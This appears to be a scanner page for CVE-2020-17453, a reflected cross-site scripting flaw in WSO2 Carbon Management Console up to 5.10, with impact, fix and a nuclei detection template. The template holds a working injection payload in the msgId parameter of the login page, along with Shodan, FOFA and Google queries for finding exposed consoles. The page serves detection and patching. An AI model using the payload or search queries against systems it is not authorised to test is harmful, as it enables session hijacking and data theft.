WSO2 Carbon Management Console <=5.10 - Cross-Site Scripting

mediumseverity

6.1CVSS score

26.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

WSO2 Management Console through 5.10 is susceptible to reflected cross-site scripting which can be exploited by tampering a request parameter in Management Console. This can be performed in both authenticated and unauthenticated requests.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.

Fix

Upgrade to a patched version of WSO2 Carbon Management Console (5.11 or above) or apply the provided security patch to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/carbon/admin/login.jsp?msgId=%27%3Balert(%27document.domain%27)%2F%2F
Positive when: contains "'';alert('document.domain')//';" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-17453 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-17453

info:
  name: WSO2 Carbon Management Console <=5.10 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: WSO2 Management Console through 5.10 is susceptible to reflected cross-site scripting which can be exploited by tampering a request parameter in Management Console. This can be performed in both authenticated and unauthenticated requests.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade to a patched version of WSO2 Carbon Management Console (5.11 or above) or apply the provided security patch to mitigate this vulnerability.
  reference:
    - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2020-1132
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17453
    - https://twitter.com/JacksonHHax/status/1374681422678519813
    - https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2021/WSO2-2020-1132/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-17453
    cwe-id: CWE-79
    epss-score: 0.26225
    epss-percentile: 0.98011
    cpe: cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wso2
    product: api_manager
    shodan-query: http.favicon.hash:1398055326
    fofa-query: icon_hash=1398055326
    google-query: inurl:"carbon/admin/login"
  tags: cve2020,cve,xss,wso2,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/carbon/admin/login.jsp?msgId=%27%3Balert(%27document.domain%27)%2F%2F'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'';alert('document.domain')//';"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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